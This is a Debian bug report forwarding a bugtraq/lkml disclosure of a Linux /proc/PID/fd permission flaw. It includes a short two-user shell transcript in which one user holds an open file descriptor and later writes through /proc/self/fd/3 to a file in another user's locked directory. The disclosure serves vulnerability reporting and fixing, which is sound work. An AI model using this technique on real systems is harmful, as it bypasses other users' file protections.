Package: linux-image-2.6.26-2-686 Version: 2.6.26-17 Severity: important
Currently discussed on bugtraq Cut-n-pasting the email Hi! This is forward from lkml, so no, I did not invent this hole. Unfortunately, I do not think lkml sees this as a security hole, so... Jamie Lokier said: > > > a) the current permission model under /proc/PID/fd has a security > > > hole (which Jamie is worried about) > > > > I believe its bugtraq time. Being able to reopen file with additional > > permissions looks like a security problem... > > > > Jamie, do you have some test script? And do you want your 15 minutes > > of bugtraq fame? ;-). > The reopen does check the inode permission, but it does not require > you have any reachable path to the file. Someone _might_ use that as > a traditional unix security mechanism, but if so it's probably quite rare. Ok, I got this, with two users. I guess it is real (but obscure) security hole. So, we have this scenario. pavel/root is not doing anything interesting in the background. pa...@toy:/tmp$ uname -a Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux pa...@toy:/tmp mkdir my_priv; cd my_priv pa...@toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file # lock down directory pa...@toy:/tmp/my_priv$ chmod 700 . # relax file permissions, directory is private, so this is safe # check link count on unwritable_file. We would not want someone # to have a hard link to work around our permissions, would we? pa...@toy:/tmp/my_priv$ chmod 666 unwritable_file pa...@toy:/tmp/my_priv$ cat unwritable_file this file should never be writable pa...@toy:/tmp/my_priv$ cat unwritable_file got you # Security problem here [Please pause here for a while before reading how guest did it.] Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so. So what did happen? User guest was able to work around directory permissions in the background, using /proc filesystem. gu...@toy:~$ bash 3< /tmp/my_priv/unwritable_file # Running inside nested shell gu...@toy:~$ read A <&3 gu...@toy:~$ echo $A this file should never be writable gu...@toy:~$ cd /tmp/my_priv gu...@toy:/tmp/my_priv$ ls unwritable_file # pavel did chmod 000, chmod 666 here gu...@toy:/tmp/my_priv$ ls ls: cannot open directory .: Permission denied # Linux correctly prevents guest from writing to that file gu...@toy:/tmp/my_priv$ cat unwritable_file cat: unwritable_file: Permission denied gu...@toy:/tmp/my_priv$ echo got you >&3 bash: echo: write error: Bad file descriptor # ...until we take a way around it with /proc filesystem. Oops. gu...@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3 -- Package-specific info: -- System Information: Debian Release: 5.0.2 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.26 (SMP w/1 CPU core; PREEMPT) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6.26-2-686 depends on: ii debconf [debconf-2.0] 1.5.24 Debian configuration management sy ii initramfs-tools [linux-initra 0.92o tools for generating an initramfs ii module-init-tools 3.4-1 tools for managing Linux kernel mo Versions of packages linux-image-2.6.26-2-686 recommends: ii libc6-i686 2.7-18 GNU C Library: Shared libraries [i Versions of packages linux-image-2.6.26-2-686 suggests: ii grub 0.97-47lenny2 GRand Unified Bootloader (Legacy v ii lilo 1:22.8-7 LInux LOader - The Classic OS load pn linux-doc-2.6.26 <none> (no description available) -- debconf-show failed -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
